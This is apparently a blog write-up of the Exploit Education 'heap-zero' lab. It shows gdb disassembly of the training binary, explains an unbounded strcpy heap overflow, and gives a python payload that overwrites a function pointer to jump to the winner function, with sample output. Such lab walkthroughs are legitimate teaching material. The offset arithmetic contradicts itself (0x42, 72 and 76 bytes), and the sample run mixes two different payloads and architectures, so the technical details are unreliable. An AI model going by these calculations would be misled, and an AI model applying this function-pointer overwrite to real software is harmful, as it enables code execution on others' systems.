If you haven’t set up your lab yet, feel free to check out my previous article on Exploit.education lab setup
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
- Format Two Writeup - Exploit Education Lab Exercise
- Format Three Writeup - Exploit Education Lab Exercise
- Format Four Writeup - Exploit Education Lab Exercise
Similar to Stack One, Heap Zero exercise motive is to smash the heap to modify other variables in the heap to a
hex value and technically overwrite
function pointer in the heap. Similar to
gets in Stack Zero,
strcpy function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared function pointer in heap.
Disassembling the code will get you overall idea behind the heap-zero code, One can use
gdb ./heap-zero to start debugging it in runtime.
disassemble mainto get the disassembled code (assembly)
0x08048867 <+0>: lea ecx,[esp+0x4] 0x0804886b <+4>: and esp,0xfffffff0 0x0804886e <+7>: push DWORD PTR [ecx-0x4] 0x08048871 <+10>: push ebp 0x08048872 <+11>: mov ebp,esp 0x08048874 <+13>: push ebx 0x08048875 <+14>: push ecx 0x08048876 <+15>: sub esp,0x10 0x08048879 <+18>: mov ebx,ecx 0x0804887b <+20>: sub esp,0xc 0x0804887e <+23>: push 0x804ac44 0x08048883 <+28>: call 0x8048600 <puts@plt> 0x08048888 <+33>: add esp,0x10 0x0804888b <+36>: cmp DWORD PTR [ebx],0x1 0x0804888e <+39>: jg 0x80488aa <main+67> 0x08048890 <+41>: sub esp,0xc 0x08048893 <+44>: push 0x804ac90 0x08048898 <+49>: call 0x8048600 <puts@plt> 0x0804889d <+54>: add esp,0x10 0x080488a0 <+57>: sub esp,0xc 0x080488a3 <+60>: push 0x1 0x080488a5 <+62>: call 0x8048680 <exit@plt> 0x080488aa <+67>: sub esp,0xc 0x080488ad <+70>: push 0x40 0x080488af <+72>: call 0x8049146 <malloc> 0x080488b4 <+77>: add esp,0x10 0x080488b7 <+80>: mov DWORD PTR [ebp-0xc],eax 0x080488ba <+83>: sub esp,0xc 0x080488bd <+86>: push 0x40 0x080488bf <+88>: call 0x8049146 <malloc> 0x080488c4 <+93>: add esp,0x10 0x080488c7 <+96>: mov DWORD PTR [ebp-0x10],eax 0x080488ca <+99>: mov eax,DWORD PTR [ebp-0x10] 0x080488cd <+102>: mov DWORD PTR [eax],0x804884e 0x080488d3 <+108>: mov eax,DWORD PTR [ebx+0x4] 0x080488d6 <+111>: add eax,0x4 0x080488d9 <+114>: mov edx,DWORD PTR [eax] 0x080488db <+116>: mov eax,DWORD PTR [ebp-0xc] 0x080488de <+119>: sub esp,0x8 0x080488e1 <+122>: push edx 0x080488e2 <+123>: push eax 0x080488e3 <+124>: call 0x80485b0 <strcpy@plt> 0x080488e8 <+129>: add esp,0x10 0x080488eb <+132>: mov eax,DWORD PTR [ebp-0x10] 0x080488ee <+135>: mov eax,DWORD PTR [eax] 0x080488f0 <+137>: push eax 0x080488f1 <+138>: push DWORD PTR [ebp-0x10] 0x080488f4 <+141>: push DWORD PTR [ebp-0xc] 0x080488f7 <+144>: push 0x804acb8 0x080488fc <+149>: call 0x80485d0 <printf@plt> 0x08048901 <+154>: add esp,0x10 0x08048904 <+157>: mov eax,ds:0x804c2c0 0x08048909 <+162>: sub esp,0xc 0x0804890c <+165>: push eax 0x0804890d <+166>: call 0x8048610 <fflush@plt> 0x08048912 <+171>: add esp,0x10 0x08048915 <+174>: mov eax,DWORD PTR [ebp-0x10] 0x08048918 <+177>: mov eax,DWORD PTR [eax] 0x0804891a <+179>: call eax 0x0804891c <+181>: mov eax,0x0 0x08048921 <+186>: lea esp,[ebp-0x8] 0x08048924 <+189>: pop ecx 0x08048925 <+190>: pop ebx 0x08048926 <+191>: pop ebp 0x08048927 <+192>: lea esp,[ecx-0x4] 0x0804892a <+195>: ret
If you carefully check the source, you might miss
winner in the above disassembled code. You can go ahead and type
disassemble winner in the gdb prompt,
0x08048835 <+0>: push ebp 0x08048836 <+1>: mov ebp,esp 0x08048838 <+3>: sub esp,0x8 0x0804883b <+6>: sub esp,0xc 0x0804883e <+9>: push 0x804abd0 0x08048843 <+14>: call 0x8048600 <puts@plt> 0x08048848 <+19>: add esp,0x10 0x0804884b <+22>: nop 0x0804884c <+23>: leave 0x0804884d <+24>: ret
Before taking a look at the code, if you disassembled the heap-zero using gdb to view the assembly instruction, you may notice the puts, fflush, exit and gets function calls with parameters. So basically when you hit
r in gdb without breakpoint,
- Greet with
Welcome to phoenix/heap-zero, brought to you by https://exploit.educationmessage via Puts (aka printf) method
- It checks if an argument was passed to the program. If not, it prints a message asking for an argument and exits.
- It allocates memory for a data structure and an fp structure using malloc.
- It initializes the function pointer in the fp structure to point to the nowinner function.
- It copies the argument passed to the program into the name field of the data structure using strcpy.
- It prints the addresses of the data and fp structures and the address of the function pointed to by fp.
- It calls the function pointed to by fp, which by default is the nowinner function that prints a message indicating that the level has not been passed.
The primary goal of this exercise is to make you familiar to overwrite function pointer with your own function pointer and therefore redirecting the program flow to achieve code execution within the binary/program. In ideal exploit world, you may overwrite the function pointer and redirect to
system function call to achieve remote code execution and this blog post good example of reflecting this goal. In this exercise, you might want to overwrite the function pointer
winner function memory address.
As you see that the
data struct is dynamically allocated, they are allocated seperately by
malloc different from stack frame. You can see that
data.name (64 bytes) gets written at
fp integer variable (4 bytes) at
0xf7e69050. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the buffer to overwrite
fp. If you play around with these memory layout behaviour, you may note that the char
buffer variable writes from
$0xf7e69008 grows towards
So, the overflow bytes can be calculated as
0x08 (hexadecimal) results in
0x42 and converted to decimal (72). So, you can overflow the buffer with 72 bytes and overwrite the
fp variable. However, you may note that the
fp variable is an integer and it is 4 bytes long. So, you can overflow the buffer with 72 bytes and 4 bytes of
fp variable. So, the total bytes to overflow is
72 + 4 = 76 bytes. Now, you can go ahead and generate the payload with 76 bytes of
A and 4 bytes of
fp variable. The remaining 4 bytes of
fp variable can be overwritten with
winner function memory address.
To get the winner memory address, you can use gdb to disassemble the
winner function and note down the starting address of the function. You can use
disassemble winner command in gdb to disassemble the
winner function. The starting address of the
winner function is
0x08048835. The address
0x08048835 can be represented in little endian format as
\x35\x88\x04\x08. So, the final payload would be
76 bytes of A + 4 bytes of fp variable + 4 bytes of winner function address. You can use python to generate the payload as follows,
print('A'*72 + '\x35\x88\x04\x08')
So, the final exploit would be as follows,
(gdb) r $(python -c "print('A'*72 + '\x35\x88\x04\x08')") Starting program: /opt/phoenix/amd64/heap-zero <<< $(python -c "print('A'*64 + '\x9d\x06\x40')") Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x08048835 Congratulations, you have passed this level
There you go! 🎉 You’ve officially
binary and possibly you could control the program flow and may
eventually perform remote code execution in the system. 🪲
Source and Reference:
- Heap Zero Exercise: Exploit Education
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.